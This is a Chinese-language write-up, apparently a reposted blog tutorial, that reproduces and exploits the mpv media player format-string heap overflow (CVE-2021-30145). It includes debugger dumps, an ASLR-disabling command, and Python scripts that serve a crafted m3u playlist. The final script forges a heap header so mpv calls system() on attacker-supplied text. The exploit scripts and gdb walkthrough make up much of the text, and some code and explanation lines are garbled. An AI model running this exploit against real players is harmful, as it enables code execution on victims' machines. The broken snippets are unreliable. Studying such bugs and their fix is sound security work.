一、背景介紹
mpv專案是開源專案,可以在多個系統包括Windows、Linux、MacOs上運行,是一款流行的視頻播放器,mpv軟體在讀取檔案名稱時存在格式化字串漏洞,可以導致堆溢位并執行任意代碼,
二、環境搭建
系統環境為Ubuntu x64位,軟體環境可以通過兩種方式搭建環境,
a. 通過原始碼編譯,原始碼地址為:
https://github.com/mpv-player/mpv/tree/v0.33.0
下載地址為:https://github.com/mpv-player/mpv/archive/refs/tags/v0.33.0.zip
b. 直接安裝安裝包,安裝后沒有符號,除錯不方便,可以使用以下三條命令來安裝軟體:
sudo add-apt-repository ppa:mc3man/mpv-tests
sudo apt-get update
sudo apt-get install mpv
安裝完成后運行軟體如下所示:

【一>所有資源獲取<一】
1、200多本網路安全系列電子書(該有的都有了)
2、全套工具包(最全中文版,想用哪個用哪個)
3、100份src原始碼技術檔案(專案學習不停,實踐得真知)
4、網路安全基礎入門、Linux、web安全、攻防方面的視頻(2021最新版)
5、網路安全學習路線(告別不入流的學習)
6、ctf奪旗賽決議(題目決議實戰操作)
三、漏洞復現
源代碼:

demux_mf.c檔案中154行存在對sprintf函式的呼叫,sprintf函式是格式化字串函式,引數1是目標緩沖區,引數2是格式化字串,引數2是可控的,第三個引數是回圈次數,mpv程式本身支持檔案名中傳入一個%,可以使用%d列印這個回圈次數,但是由于校驗不嚴格,并沒有校驗其他的格式化字串,以及%的個數,所以存在格式化字串漏洞:

在demux_mf.c檔案中127行會檢查是否存在%,沒有判斷有幾個%,以及%之后的引數,
程式存在格式化字串漏洞,使用如下命令運行程式:./mpv -v mf://%p.%p.%p

運行mpv時使用-v引數可以列印出更加詳細的資訊,此時可以看到列印出了堆疊上的資訊,格式化字串漏洞造成了資訊泄漏,
demux_mf.c檔案中154行存在對sprintf函式的呼叫,sprintf函式是格式化字串函式,引數1是緩沖區,引數2是格式化字串,這是可控的,現在為了安全都使用snprintf函式,可以限制緩沖區的大小,使用sprintf函式會造成資訊泄漏,圖中fname是堆中的緩沖區地址:

程式自己實作了一個記憶體申請函式,包含自定義的塊頭結構,在函式的124行呼叫talloc_size來申請記憶體,申請大小為檔案名的大小加32個位元組,如果使用格式字串例如%1000d,會把一個四位元組資料擴展到占用1000個位元組,這樣會導致堆溢位,

上圖中,啟動mpv時傳入引數 mf://%1000d會導致程式崩潰,
四、漏洞分析
通過原始碼編譯后可以根據符號對程式下斷點,先查看下open_mf_pattern漏洞函式:
使用gdb啟動mpv程式
gdb ./mpv
~~~
gdb-peda$ disassemble open_mf_pattern
Dump of assembler code for function open_mf_pattern:
~
0x00000000001e44af <+559>: call 0x1305a0 __sprintf_chk@plt
~
可以看到在open_mf_pattern+0x559處呼叫的是sprintf_chk函式,這是因為使用原始碼編譯時使用了FORTIFY_SOURCE選項,對sprintf函式的呼叫會自動修改為呼叫sprintf_chk函式,可以在gdb-peda下輸入checksec檢查:
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : ENABLED 可以看到開啟了FORTIFY選項
NX : ENABLED
PIE : disabled
RELRO : FULL
gdb-peda$
sprintf_chk函式有一個變數表明緩沖區的大小,但是因為此處緩沖區是通過talloc_size申請堆上的記憶體,所以沒有辦法在編譯器確定緩沖區的大小,所以此函式使用0xFFFFFFFFFFFFFFFF來表明緩沖區的大小,這樣我們就可以使用堆溢位來利用這個漏洞,實際操作中這個漏洞被利用可能性還是比較小的,本次在Ubuntu 20.04.1 LTS系統和關閉ASLR情況下利用此漏洞:

五、漏洞利用程式開發
開發利用程式前,需要使用sudo sh -c “echo 0 > /proc/sys/kernel/randomizeva_space”命令關閉系統的ASLR功能,
mpv程式運行時會把格式化字串塊保存在自定義的塊中,使用talloc_size來分配記憶體,還有自定義的堆頭結構,
struct ta_header {
size_t size; // size of the user allocation
// Invariant: parent!=NULL => prev==NULL
struct ta_header prev; // siblings list (by destructor order)
struct ta_header next;
// Invariant: parent==NULL || parent->child==this
struct ta_header child; // points to first child
struct ta_header parent; // set for _first child only, NULL otherwise
void (destructor)(void );
unsigned int canary;
struct ta_header leak_next;
struct ta_header leak_prev;
const char name;
};
可以在ta.c檔案中看到此結構的內容以及對應的函式,此結構中包含一個destructor,是析構指標,還有一個值是canary,編譯選項TA_MEMORY_DEBUGGING默認是啟用的,此值為固定值0xD3ADB3EF,是為了檢測程式是否有例外,
當呼叫ta_free函式時會判斷解構式,如果解構式不為空,那么會去呼叫解構式,

在此函式內部還呼叫了get_header函式,函式內容為

根據堆塊地址ptr往低地址偏移固定位元組找到堆頭結構地址tag_head,然后呼叫ta_dbg_check_header函式

ta_dbg_check_header函式會檢查canary值是否為0xD3ADB3EF,如果parent不為空,還會判斷前向節點和父節點,
5.1 覆寫destructor指標
漏洞利用思路為呼叫sprintf函式時堆溢位到下一個堆的頭結構,改變堆頭結構的析構指標,當呼叫ta_free函式時,如果析構指標不為空,那么就會呼叫解構式,
mpv程式在運行時可以讀取m3u檔案串列,如使用命令
./mpv http://localhost:7000/x.m3u
mpv程式會去連接本地的7000埠,并獲取x.m3u檔案,獲取的內容mf://及之后的內容保存在堆中,當mf://及之后的內容占用不同大小的空間時,程式會把檔案名稱的內容放在堆中不同的位置處,我們需要找到一個合適的大小來滿足如下條件:當mpv將檔案內容名稱存放在堆中時,后面的記憶體內容包含一個自定義的堆頭結構,這樣當我們溢位資料時,可以操縱到后面的堆頭結構內容,
使用如下的POC測驗占用不同的空間可以將檔案名稱內容放到合適的地址處:
#!/usr/bin/env python3
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((‘localhost’, 7000))
s.listen(5)
c, a = s.accept()
playlist = b’mf://‘
playlist += b’A’0x40
playlist += b’%d’ # we need a ‘%’ to reach vulnerable path
d = b’HTTP/1.1 200 OK\r\n’
d += b’Content-type: audio/x-mpegurl\r\n’
d += b’Content-Length: ‘+str(len(playlist)).encode()+b’\r\n’
d += b’\r\n’
d += playlist
c.send(d)
c.close()
代碼中使用playlist += b’A’0x40來占位,0x40是經過測驗的資料,筆者可以修改此值來測驗占用多少位元組可以申請一個合適的位置,運行此腳本檔案,然后使用gdb除錯mpv程式:gdb ./mpv
使用命令b open_mf_pattern+559在呼叫sprintf_chk函式處下斷點,使用命令運行 mpv程式:r http://localhost:7000/x.m3u

可以看到第一個引數arg[0]資料為0x7fffec001210,使用命令 x/100xg 0x7fffec001210-0x50,往前偏移0x50是為了查看堆頭結構的資料
gdb-peda$ x/100xg 0x7fffec001210-0x50
0x7fffec0011c0: 0x0000000000000062 0x0000000000000000 [size] | [prev]
0x7fffec0011d0: 0x0000000000000000 0x0000000000000000 [next] | [child]
0x7fffec0011e0: 0x00007fffec001140 0x0000000000000000 [parent] | [destructor]
0x7fffec0011f0: 0x00000000d3adb3ef 0x0000000000000000 [canary] | [leak_next]
0x7fffec001200: 0x0000000000000000 0x0000555556676b8f [leak_prev] | [name]
0x7fffec001210: 0x0000000000000000 0x0000000000000071 begin actual data
0x7fffec001220: 0x00007fffec004df0 0x00007fffec001610
0x7fffec001230: 0x0000000000000000 0x0000000000000000
0x7fffec001240: 0x0000000000000000 0x0000000000000000
0x7fffec001250: 0x0000000000000000 0x0000000000000000
0x7fffec001260: 0x0000000000000000 0x0000555556c288a0
0x7fffec001270: 0x736f686c61636f6c 0x782f303030373a74
0x7fffec001280: 0x00000000000000d0 0x0000000000000065
0x7fffec001290: 0x000055555732dc00 0x0000555557315010
0x7fffec0012a0: 0x0000000000000000 0x0000000000000000
0x7fffec0012b0: 0x0000000000000000 0x0000000000000000
0x7fffec0012c0: 0x0000000000000000 0x0000000000000000
0x7fffec0012d0: 0x0000000000000000 0x0000000000000000
0x7fffec0012e0: 0x0000000000000000 0x0000000000000045
0x7fffec0012f0: 0x0000000000000000 0x0000000000000000
0x7fffec001300: 0x0000000100000000 0x0000000000000001
0x7fffec001310: 0x0000000000000000 0x0000000000000000
0x7fffec001320: 0x00000073656c6966 0x0000000000000051
0x7fffec001330: 0x00007fffec0047d0 0x00007fffec0046e0
0x7fffec001340: 0x0000000000000000 0x0000000000000000
0x7fffec001350: 0x0000000000000000 0x0000000000000000
0x7fffec001360: 0x0000000000000000 0x0000000000000000
0x7fffec001370: 0x0000000000000050 0x0000000000000044
0x7fffec001380: 0x0000000000000000 0x0000000000000000
0x7fffec001390: 0x0000000100000000 0x7470797200000001
0x7fffec0013a0: 0x0000000000000000 0x0000000000000000
0x7fffec0013b0: 0x00646d6574737973 0x0000000000000021
0x7fffec0013c0: 0x00007fffec005570 0x00007fffec0177c0
0x7fffec0013d0: 0x0000000000000020 0x0000000000000044
0x7fffec0013e0: 0x0000000000000000 0x0000000000000000
0x7fffec0013f0: 0x0000000100000000 0x0000000000000001
0x7fffec001400: 0x0000000000000000 0x0000000000000000
0x7fffec001410: 0x0000000000736e64 0x0000000000000035
0x7fffec001420: 0x3638782f62696c2f 0x756e696c2d34365f
0x7fffec001430: 0x696c2f756e672d78 0x6c69665f73736e62
0x7fffec001440: 0x00322e6f732e7365 0x0000000000000065
0x7fffec001450: 0x0000000000000003 0x00007fffec004a80 [size] | [prev]
0x7fffec001460: 0x0000000000000000 0x0000000000000000 [next] | [child]
0x7fffec001470: 0x0000000000000000 0x0000000000000000 [parent] | [destructor]
0x7fffec001480: 0x00000000d3adb3ef 0x0000000000000000 [canary] | [leak_next]
0x7fffec001490: 0x0000000000000000 0x0000555556c288a0 [leak_prev] | [name]
0x7fffec0014a0: 0x000000006600666d 0x00000000000000f5 begin actual data
堆塊的實際資料起始地址為0x7fffec001210,堆頭地址為0x7fffec0011C0,緊隨其后有一個堆頭結構位于0x7fffec001450,
使用如下poc腳本即可覆寫0x7fffec001450堆頭結構中的destructor指標
#!/usr/bin/env python3
import socket
from pwn import
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((‘localhost’, 7000))
s.listen(5)
c, a = s.accept()
playlist = b’mf://‘
playlist += b’A’*0x10
playlist += b’%590c%c%c%4$c%4$c%4$c%4$c%4$c%4$c%4$c%4$c\x22\x22\x22\x22\x22\x22’
d = b’HTTP/1.1 200 OK\r\n’
d += b’Content-type: audio/x-mpegurl\r\n’
d += b’Content-Length: ‘+str(len(playlist)).encode()+b’\r\n’
d += b’\r\n’
d += playlist
c.send(d)
c.close()
正常情況下%c即可格式化一個char型別的資料,使用%590c是為了似乎用空格字符占用更多的位元組,讓程式去處理目的地址590個位元組后面的資料,%c%c的目的是跳到一個引數,該引數的值為0,%4
c
c%4
cc%4
c
c%4
cc%4
c
c%4
cc%4
c
c%4
cc將8個位元組的0x00寫到父指標parent中,繞過ta_dbg_check_header函式中對前向節點和父節點的檢查,6個\x22將0x222222222222寫入到destruct指標中,
程式會多次運行到sprintf_chk函式處,從源代碼中可以看到程式會運行5次,在最后一次運行結束后,查看后續堆的頭結構內容如下:
gdb-peda$ x/20xg 0x7fffec001450
0x7fffec001450: 0x2020202020202020 0x2020202020202020 [size] | [prev]
0x7fffec001460: 0x2020202020202020 0xdf6e042020202020 [next] | [child]
0x7fffec001470: 0x0000000000000000 0x0000222222222222 [parent] | [destructor]
0x7fffec001480: 0x00000000d3adb3ef 0x0000000000000000 [canary] | [leak_next]
0x7fffec001490: 0x0000000000000000 0x0000555556c288a0
0x7fffec0014a0: 0x000000006600666d 0x00000000000000f5
0x7fffec0014b0: 0x0000000000000000 0x00007fffec0008d0
0x7fffec0014c0: 0x0000000000000000 0x0000000000000000
0x7fffec0014d0: 0x0000000000000000 0x00005555557632c0
0x7fffec0014e0: 0x0000000000000000 0x0000000000000000
當前已經覆寫了destructor指標為0x0000222222222222, 輸入指令c并回車繼續運行:

可以看到出現段錯誤,RIP為0x222222222222,將要執行到RIP指向的指令,但是記憶體地址不合法導致程式出現段錯誤,
5.2 覆寫child指標
目前只修改到了RIP,其他的背景關系并不合適,可以換一種利用思路,通過觀察源代碼可以看到:

在ta.c檔案中可以看到呼叫解構式后,還呼叫了ta_free_children釋放子節點,在ta_free_children函式中呼叫ta_free釋放子節點,然后在此函式中又判斷子節點的destructor指標,如不為0,則呼叫destructor指向記憶體的代碼,
現在需要換一種漏洞利用思路,即覆寫到堆頭結構中的child指標,如果這個child塊是我們自己可以構造的一個假塊,構造destructor指標為system函式的地址,canary值為固定值0xd3adb3ef,還需構造假塊的parent為0,就可以繞過判斷,呼叫system函式時傳入的指標為堆塊的實際資料的起始地址,所以我們還需要構造這個假塊的實際資料為“gnome-calculator”字串,
還需要構造這個假塊, mpv程式讀取m3u檔案串列時,會接收http報文,http報文中包含了檔案名資料,還可以在http報文中構造一個假塊,當關閉ASLR情況下,http報文中假塊的堆頭結構地址是固定的0x00007fffec001dd8,這個地址在不同的系統版本以及軟體下可能會有變化,所以需要讀者自己去定位,筆者使用如下方式定位:
- http報文在記憶體中的地址與呼叫sprintf時的目的地址在同一塊記憶體中,
- 程式在呼叫sprintf斷下后,使用vmmap查看行程模塊占用了哪些記憶體頁面,查看sprintf函式的第一個引數落到哪個記憶體塊中:

如圖引數1指向的記憶體落在0x00007fffec000000 0x00007fffec0b9000 rw-p mapped 記憶體塊中,使用命令dump binary memory ./files_down_exp_map 0x00007fffec000000 0x00007fffec0b9000即可dump記憶體到磁盤上,
- 使用二進制文本搜索工具如winhex,搜索gnome-calculator,即可找到假塊在檔案中的資料,對應到記憶體中即可找到資料,

圖中檔案偏移0x1DD8處的資料即為假塊堆頭結構,0x1E28處資料即為假塊實際資料起始處,
- 找到假塊堆頭在檔案中的位置為0x1DD8,那在記憶體中的位置為0x00007fffec000000+0x1DD8=0x00007fffec001DD8,修改對應EXP中子塊的指標

在gdb-peda插件下輸入命令:print system,可以定位到system函式的地址,修改腳本中SYSTEM_ADDR為system函式對應地址,
EXP腳本如下:
#!/usr/bin/env python3
import socket
from pwn import
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((‘localhost’, 7000))
s.listen(5)
c, a = s.accept()
playlist = b’mf://‘
playlist += b’A’0x30
playlist += b’%550c%c%c’
playlist += b’\xd8\x1d%4$c\xec\xff\x7f’ # overwriting child addr with fake child
SYSTEM_ADDR = 0x7ffff760c410
CANARY = 0xD3ADB3EF
fake_chunk = p64(0) # size
fake_chunk += p64(0) # prev
fake_chunk += p64(0) # next
fake_chunk += p64(0) # child
fake_chunk += p64(0) # parent
fake_chunk += p64(SYSTEM_ADDR) # destructor
fake_chunk += p64(CANARY) # canary
fake_chunk += p64(0) # leak_next
fake_chunk += p64(0) # leak_prev
fake_chunk += p64(0) # name
d = b’HTTP/1.1 200 OK\r\n’
d += b’Content-type: audio/x-mpegurl\r\n’
d += b’Content-Length: ‘+str(len(playlist)).encode()+b’\r\n’
d += b’PL: ‘
d += fake_chunk
d += b’gnome-calculator\x00’
d += b’\r\n’
d += b’\r\n’
d += playlist
c.send(d)
c.close()
使用gdb啟動mpv后,下斷點b *open_mf_pattern+559,使用命令r http://localhost:7000/x.m3u運行程式,多次運行sprintf_chk后查看記憶體資料:
gdb-peda$ x/20xg 0x7fffec001450
0x7fffec001450: 0x2020202020202020 0x2020202020202020
0x7fffec001460: 0xdf5e042020202020 0x00007fffec001dd8 [next] | [child]
0x7fffec001470: 0x0000000000000000 0x0000000000000000
0x7fffec001480: 0x00000000d3adb3ef 0x0000000000000000
0x7fffec001490: 0x0000000000000000 0x0000555556c288a0
0x7fffec0014a0: 0x000000006600666d 0x00000000000000f5
0x7fffec0014b0: 0x0000000000000000 0x00007fffec0008d0
0x7fffec0014c0: 0x0000000000000000 0x0000000000000000
0x7fffec0014d0: 0x0000000000000000 0x00005555557632c0
0x7fffec0014e0: 0x0000000000000000 0x0000000000000000
child指標此時為0x00007fffec001dd8,查看child中的資料:
gdb-peda$ x/20xg 0x00007fffec001dd8
0x7fffec001dd8: 0x0000000000000000 0x0000000000000000
0x7fffec001de8: 0x0000000000000000 0x0000000000000000
0x7fffec001df8: 0x0000000000000000 0x00007ffff760c410 [parent] | [destructor]
0x7fffec001e08: 0x00000000d3adb3ef 0x0000000000000000 [canary] | [leak_next]
0x7fffec001e18: 0x0000000000000000 0x0000000000000000
0x7fffec001e28: 0x61632d656d6f6e67 0x726f74616c75636c
0x7fffec001e38: 0x3a666d0a0d0a0d00 0x4141414141412f2f
0x7fffec001e48: 0x4141414141414141 0x4141414141414141
0x7fffec001e58: 0x4141414141414141 0x4141414141414141
0x7fffec001e68: 0x4141414141414141 0x2563303535254141
地址0x7fffec001e28處對應的是堆實際資料,對應的是字串資料gnome-calculator,
destructor為system函式的地址,按c回車運行:

可以看到彈出了計算器,
總結一下利用思路:
- mpv程式在讀取m3u檔案串列時會使用http協議從服務端上取出對應的檔案名稱
- 服務端發送http報文時包含了格式化字串以及一個構造的假塊,這個假塊包括偽造好的堆頭結構以及堆內容
- mpv取到對應的檔案名稱時會呼叫sprintf_chk時將檔案名作為格式化字串去格式化一個堆空間,由于目標地址是在堆中,所以沒有辦法在編譯器確定堆的大小,傳入一個0xFFFFFFFFFFFFFFFF作為堆的大小,相當于沒有對堆空間大小做限制,呼叫此函式會導致堆溢位,溢位到相鄰的一個堆塊頭結構,覆寫child指標,
- 這個child指標指向一個假塊,假塊內容是服務器端使用http協議發過來的資料,假塊包括頭結構和實際資料,頭結構中destructor欄位修改system函式的地址,當釋放這個child塊時,會判斷destructor指標是否為空,不為空則呼叫destructor指向的函式,引數為假塊實際資料的地址,假塊構造時在實際資料中填充字串gnome-calculator,所以呼叫解構式時效果相當于呼叫system(“gnome-calculator”),
注意需要關閉系統的ASLR,這樣system函式地址才為固定值,實際中此漏洞利用難度較大,需要繞過ASLR,
六、漏洞修復:
目前該漏洞已經修復,本身程式運行時是支持檔案名中帶一個%d的格式化字串,修復后檢查只有一個%,并且是%d,如果是其他的引數則不合法,

對sprintf函式的呼叫修改為呼叫snprintf,限制了緩沖區的大小,


七、參考鏈接:
mpv 媒體播放器–mf 自定義協議漏洞(CVE-2021-30145)
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/354525.html
標籤:其他
上一篇:常見中間件漏洞復現
